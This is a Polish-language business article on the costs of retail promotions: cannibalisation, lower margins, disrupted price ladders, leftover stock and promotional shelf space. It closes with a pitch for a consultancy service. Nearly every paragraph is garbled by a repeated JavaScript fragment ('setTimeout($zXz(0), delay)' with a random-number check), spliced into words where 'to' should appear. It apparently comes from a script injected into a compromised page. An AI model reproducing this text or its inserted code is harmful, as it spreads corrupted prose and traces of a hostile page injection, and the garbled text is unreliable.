In Artykuły, Handel, Uniwersalne

Promocja nie tylko sprzedaje i przyciąga. Ona także kosztuje. Każda. To wszyscy wiedzą, choć nie wszyscy liczą ile i starają się sprawdzić, czy się opłaca. Ale nawet ci, którzy liczą, niekoniecznie liczą wszystkie koszty, w szczególności dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to, że także kanibalizuje. Czyli sprzedaje jeden (promowany) produkt, ale w zamian za inny, już w pełnej cenie (czy tylko nie promowany w inny sposób.

Opłacalność promocji

Każdy ocenia ją ze swojego punktu widzenia. Ważne jest dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to, że promocja nie jest i nie powinna być grą o sumie zerowej. Czyli nie musi być tak, że jeden oddaje, a drugi zyskuje, w dodatku tyle samo. Promocje dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to raczej manipulacji, gdzie firma próbuje zwabić klienta, dając mu coś, co ją kosztuje niewiele, a jego skłoni do nie planowanego zakupu. Także dostawcy próbują wmanipulować swoich odbiorców (firmy sprzedażowe), aby niewielkim kosztem zarządzić ich ofertą i sterować ich sprzedażą niejako z tylnego siedzenia samochodu.

Dla klienta promocja ma dwojakie znaczenie. Z jednej strony może uzyskać z tego tytułu jakąś korzyść, np. niższą cenę, z drugiej zwykle kupuje w ten sposób coś, czego w ogóle nie potrzebuje. Ale uświadomi sobie dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to dopiero po fakcie.. Gdyby tak nie było, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to firmy (które starannie liczą pieniądze, powstrzymałyby się od promocji, w końcu mało z nich działa charytatywnie.

Dla firmy promocja dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to rzadko jakaś korzyść bezpośrednia (zwykle dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to zamiana jednego produktu na drugi). Osiąga w ten sposób korzyści pośrednie, w postaci kontaktu z klientem, który oczekuje promocji, nie zdając sobie sprawy, że tak naprawdę dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to pułapka na niego.

Dla dostawcy promocja ma dużo więcej zalet niż dla klienta czy firmy. Koszt jest dla niego niewielki (część zwykle się zresztą zwykle udaje przerzucić na sprzedającego). A korzyść oczywista i natychmias dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towa. To wyparcie konkurenta, innego dostawcy, którego produkty zastąpią produkty promowane.

Uwaga. „sterowanie sprzedażą”. Promocja jest działaniem z zakresu sterowania sprzedażą czyli zarządzania magiczną formuła sprzedaży. W przypadku relacji dostawca – odbiorca najbardziej opłacalnym efektem promocji jest zarządzanie przestrzenią odbiorcy przez dostawcę i sterowanie jego sprzedażą. Gdyby zrobić dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to otwarcie, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to kosz dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towałoby dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to dużo, choćby w postaci warunków handlowych. Jeśli zrobić dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to pod przykrywką promocji, będzie tanio, a do tego odbiorca (sprzedawca) będzie miał nadzieję, że dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to działanie w jego interesie.

Kluczem dla oceny opłacalności promocji jest tzw. korzyść dla klienta. Z punktu widzenia firmy i jej dostawców ta korzyść dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to koszt (którym się zresztą zwykle dzielą w jakiejś proporcji), a z punktu widzenia kupującego dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to jest dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to, co on z kolei zyskuje.

Jakie dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to mogą być korzyści? Różne. Ale najlepiej, jeśli mają różną wagę dla stron. To umożliwia zarobek na promocji. Inaczej firma raczej straci niż zyska. O dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to kilka przykładów.

Uwaga. „producent czy sprzedający?” Czasem sprzedawca jest jednocześnie wytwórcą swojego produktu. Co wtedy z kosztami promocji? Wtedy (i w każdym takim przypadku) przeważna interes producenta i marki produk dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towej. Zaś organizacja sprzedaży staje się tylko skorupą, obudową do pokazania i wypromowania, w ostateczności dostarczenia produktu. I tak też należy wtedy rozważać koszty promocji.

Czy korzyść dla klienta dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to gra o sumie zerowej? Czy dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to, co zyska klient równa się temu, co straci firma? Otóż nie. Dzieli je tzw. perceived value, czyli dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to, jak korzyść postrzega klient. Gdyż on nie liczy bezpośrednio pieniędzy, tylko odnosi korzyść do swojej potrzeby. Ta zaś jest z jednej strony indywidualna, z drugiej można nią sterować.

Uwaga. „korzyść dla klienta”. Produkty są kupowane przez klientów z jakiegoś powodu. Ten główny jest zwykle podkreślany przez firmę, częs dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to też specjalnie komunikowany. Taką cechę można nazwać korzyścią dla klienta, choć wszystkie cechy produktu mogą być i w dużej mierze są taką właśnie korzyścią. Ale jedna się zwykle wybija i ostatecznie dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to ona ma dominujący wpływ na decyzję o zakupie.

Co składa się na koszty promocji?

Poza samą korzyścią dla klienta ( dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to is dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tota promocji) są trzy główne grupy kosztów. Koszty jej zakomunikowania, przygo dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towania oraz

Koszt zakomunikowania jest oczywisty, ale nie zawsze wyliczony w pełnej wysokości. Zwykle dolicza się tu koszty marketingu, ale rzadko przygo dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towania przez pracowników. Nie liczy się też kosztu alternatywnego, co można by zrobić, gdyby wszyscy nie byliby zajęci promocję.

Ale nie można pominąć kosztów marketingu. A ten trzeba prowadzić poza firmą, jeśli ma oddziaływać na wejścia, a dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to kosztuje słona. Trzeba też prowadzić go w samej placówce (czy na jej stronie www), jeśli ma ona zwiększać konwersję albo średnią war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tość transakcji.

Niższa cena. W promocji sprzedaje się przeważnie w niższych cenach (czy z innego rodzaju korzyścią dla klienta, co też kosztuje), choć może z tą samą marżą. W efekcie marża procen dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towa jest ta sama, ale kwo dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towa już dużo niższa.

Koszty alternatywne. Promocja zjada (zajmuje) miejsca (czy np. materiały typu POS czy stronę interne dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tową) promocyjne, gdzie można sprzedawać coś innego. Firma rzadko wycenia koszt takich miejsc, a skoro tak, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to nie potrafi ocenić straty. Nawet jeśli ją odczuje, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to nie jest świadoma, że dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to właśnie z powodu promocji.

Koszty „po”. Po promocji trzeba wyprzedać resztki. Czy w jakikolwiek sposób pozbyć się tego, co zostało. W przypadku firm sprzedających dobra niematerialne, np. usługi finansowe pozostają stare zobowiązania promocyjne, z którymi też jakoś trzeba sobie poradzić. I pozostaje związany z nimi koszt.

Uwaga. „nieważne jak się zaczyna, ważne, jak się kończy”. To w szczególności dotyczy właśnie promocji. Kiedy się ją zaczyna, komunikacja jest pełna, produkty przygo dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towane i we właściwej ilości. Kiedy się kończy (lub wkrótce przed), jest już zwykle inaczej. A skoro tak, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to nigdy nie wiadomo, czy promocja się nie udała gdyż nie wypaliła jej korzyść dla klienta, czy może raczej jest dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to wina tego, że w drugiej części promocja działa już znacznie gorzej.

Jednak najwyższy koszt promocji dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to koszt kanibalizacji. Czyli sprzedaży takiego samego produktu (funkcjonalnie, z punktu widzenia klienta), ale z niższą marżą, w niższej cenie, wyparcie produktów pełnocenowych wyprzedażą po promocji, czy wreszcie „zawłaszczenie” dobrych miejsc do sprzedaży przez promocję.

Niższa marża. Tu mechanizm jest prosty. Zamiast sprzedać po 100, obniża się cenę do 90. I jeśli dostawca pokryje np. 50%, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to firma straci tylko 5. Ale straci.

Niższa cena. Produkty w ofercie są zwykle pogrupowane wg kryterium wyszukiwania przez klienta. W ten sposób tworzą tzw. Grupy Asortymen dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towe. Np. są dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to wina czerwone, wytrawne, z Francji. W ramach tej Grupy produkty są zwykle ułożone w tzw. drabinki cenowe, głównie ze względu na up-sell. Tymczasem promocja zaburza działanie drabinki, rujnując założenia o sprzedaży produktu droższego, ale lepszego. Teraz sprzeda się tańszy, a cała koncepcja drabinki weźmie w łeb.

Wyprzedaż. To mechanizm wypierania. Po promocji zostaje wiele niechcianego dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towaru i trzeba się go jakoś pozbyć. Można go wyprzedać (wtedy klienci go kupią zamiast dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towaru w pełnej cenie). Można go też np. oddać go dostawcy, ale ten sobie dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to jakoś wkalkuluje w warunki handlowe. I gdzie indziej sobie odbierze, np. w gorszym rabacie.

Miejsca promocyjne. Ostatnim rodzajem kanibalizacji jest zabranie dobrych miejsce do sprzedaży na właśnie promocję. Ten rodzaj kanibalizacji wynika z założenia, że zarówno miejsca, jak i produkty nie są sobie równe. I dobre miejsce może sprzedać kilkadziesiąt procent więcej niż złe. I jeśli postawi się tam promocję, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to sprzeda się artykuł promowany. Ale jeśli postawi się tam artykuł w pełnej cenie, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to i tego sprzeda się więcej, tyle, że z wyższą marżą.

Promocja przyciąga?

Promocja dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to nie jedyny sposób, aby przyciągnąć klienta (a i dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to jej nie zawsze się udaje). Wiele do powiedzenia ma tu oczywiście marketing, ale niewspółmiernie duża jest rola Koncept Sprzedażowy i jego przyciąganie (tego nie mają producenci – ci muszą polegać na marketingu, a w szczególności właśnie promocjach).

Uwaga. „ukryte składniki marketingu Konceptu Sprzedażowego”. To te cechy Konceptu, które stanowią jego integralną część, a które jednocześnie przyciągają klientów (dlatego dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to marketing). Z punktu widzenia tradycyjnego marketingu mają tę cechę, że są już zapłacone, działają, i dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to skutecznie, a jednocześnie są poza strefą wpływu (i budżetu) działu marketingu. Dlatego częs dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to są lekceważone, a czasem wręcz niezauważane.

Promocja może być częścią tego marketingu, ale wcale nie musi. Czasem dlatego, że firma tego wcale nie zakładała i nie planowała, a czasem dlatego, że się nie udała.

Podsumowanie

Firmy (i klienci) przyzwyczaili się do promocji. Czy jednak zawsze analizują ich opłacalność? Czy raczej robią je, gdyż inni też je robią? Albo dlatego, że zachęcają ich do tego dostawcy? Dla dostawcy sukcesem jest wyparcie konkurenta, dla sprzedającego dopiero łączny wzrost sprzedaży. Samo zastąpienie jednego produktu drugim dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to żaden zysk, a najczęściej strata.

Podnieś efektywność biznesu już dziś!

Aby wdrożyć FRAME w Twojej firmie, wystarczy się z nami skontaktować.